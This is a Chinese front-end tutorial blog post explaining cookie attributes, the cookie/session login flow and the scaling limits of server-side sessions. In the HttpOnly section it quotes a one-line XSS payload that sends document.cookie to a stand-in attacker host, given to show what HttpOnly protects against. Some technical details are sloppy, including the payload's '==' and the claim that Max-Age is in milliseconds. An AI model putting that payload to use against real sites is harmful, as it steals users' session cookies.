写在前面
这个系列是我在 gitchat 上写的一个chat,顺道放上来,我们前端是经常遇到的,而且大多数前端对这块不理解,抓瞎 希望我这个系列能把这些讲清楚,明白
cookie,session 认证
cookie 这部分,大家要着重注意 domain 部分,这个是我们前端开发经常会在这个点遇到问题的,如果你不熟,我是强烈建议你把我留的 demo 在本地跑一下,好好理解下
what is cookie
Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据 具体可以看MDN developer.mozilla.org/zh-CN/docs/…
概要
- cookie 组成
- cookie 产生整个交互过程
- cookie seesion 存在的问题
- demo
cookie 组成
虽然cookie 属性说烂了,列还是得列一下,主要关注 Domain , HttpOnly , SameSite
![6fd6f505cf8007bde775230fb8ba7306.png](https://img-blog.csdnimg.cn/img_convert/6fd6f505cf8007bde775230fb8ba7306.png)
- Name, Value Name 和 Value 是必须的 Session 里的 SessionId 就是 Name 设置的
- Domain
默认是当前域名 假设 访问的是a.hucheng.com
,那么前端cookie的domain只能设置a.hucheng.com
和其父域名hucheng.com
,如果设置成同级域名如b.hucheng.com
或者子域名a.aa.hucheng.com
那么cookie设置将无效。
当 cookie 设置 父域名http://hucheng.com的时候 ,2个子域名(a.hucheng.com,b.hucheng.com
)就可以获取到cookie的信息,通过cookie来传递信息
在 http://a.hucheng.com 下面 login 方法执行 router.post('/login', async (req, res, next) => { res.cookie("user_token", req.body.userName,{domain:"http://hucheng.com"}); res.send({code:1}) }); http://a.hucheng.com 控制台执行 window.open("http://b.hucheng.com"); 可以发现 http://b.hucheng.com 域名下 cookie 里有 user_token 这个值 复制代码
划重点 Domain 的这种属性 可以用来 子域名之间的通信,大部分二级域名之间跳转都是使用这个属性 要是你对这块不熟悉,没有实操过,强烈建议把我的写的demo 跑跑,我在工作中发现,我给有的同事讲过这个,当时他也懂了,但遇到 domain 问题,还是抓瞎
现在前后端开发大部分都是 前后端分离开发,分开部署,假设 前端页面在 a.hucheng.com
,api地址在test.api.com
(典型的 CORS 请求) 有的菜鸡后端设计 API 的时候还是用cookie 来做认证,这个时候你就要注意了,他设置的他认证的那个cookie domain 在 test.api.com
,这个时候, chrome 是默认不显示的非当前域名下的 cookie ,而且 CORS 默认是不携带 cookie 的,好多人被这个知识点坑过,要注意啦,这种 跨域 cookie 认证,需要服务端对请求头做一些设置,具体处理办法,网上有,这里我就提一下
- Path
设置路径cookie 生效路径 - Max-Age // 过期时间 默认是毫秒,超过这个时间,浏览器自动删除,其实还有个Expires,Expires 是 Http1.0的,基本废弃了
- Size // 只读大小
- HttpOnly
httpOnly,设置了这个就不能通过js 里的 document.cookie 获取了,默认是false,这个特性,也用的很多,一般我们敏感的信息都设成tre,比方 seesionId,token,非敏感设置成 false,比方记录来源,
httpOnly ==false;
const cookie = document.cookie // "user_token=xxx"
httpOnly ==true;
const cookie = document.cookie // ""
// 设置成 true 的时候 就可以防止部分Xss攻击
new Image().src == "fuckxss.com?a="+document.cookie
- SameSite 这个是 Chrome 提出来的 跨域共享 cookie
- Secure
只有在 https里使用,传输过程会加密
cookie 产生整个交互过程
![d4503115a6f2e937c8c7ed1c9dbcb224.png](https://img-blog.csdnimg.cn/img_convert/d4503115a6f2e937c8c7ed1c9dbcb224.png)
- 使用浏览器访问服务端页面;
- 服务端收到该客户端第一次请求后,会创建一个 session ,生产一个唯一 sessionId ;
- 同时在响应请求中设置 cookie ,属性名为jessionid;
- 客户端收到后会保存 jessionid ,再次请求时,会在 header 中设置,服务端可从请求头中获取;
- 服务端验证获取的 sessionId 是否存在,即可验证是否是同一用户;
当浏览器禁用 cookie 后,基于 cookie 的 session 将不能正常工作,每次都将创建一个新的 session ,可通过url重写传递 sessionid。
cookie seesion 存在的问题
在网民不多,喷子还很少的年代,cookie seesion 是够用的,但是负载大了以后,比方微博这种,一个系统保存上亿的 seessionId,也是够够的,那是不是可以搞个负载均衡 ,把 sessionId 都存到 Redis 缓存,所有的机器都来访问这个地方的数据, 这样一来,就不用复制了, 但是增加了单点失败的可能性, 要是那个负责 session 的机器挂了, 所有人都得重新登录一遍, 估计得被人骂死。
![323804f1ee284f5417bf4316583af8b0.png](https://img-blog.csdnimg.cn/img_convert/323804f1ee284f5417bf4316583af8b0.png)
怎么办? 有没有啥办法,我不存这些用户 sessionId,让浏览器自己管理起来么,JWT 小老弟,要出场了,下回讲JWT
Demo
放到github上了,有cookie 每个属性操作例子
Node.js写的,有清晰的注释,没写过Node.js的前端er也能看明白的,如果你平常对 cookie 的的理解都来源于文章,没实操过,建议把 Demo 自己来一遍
参考资料
cookie MDN介绍
JAVA 版 单点登录与权限管理本质:session和cookie介绍
干掉状态:从session到token
如果你喜欢也可以关注我的 公众号 「chromedev」
![167e8f07fc9c0d22d6b037038968317d.png](https://img-blog.csdnimg.cn/img_convert/167e8f07fc9c0d22d6b037038968317d.png)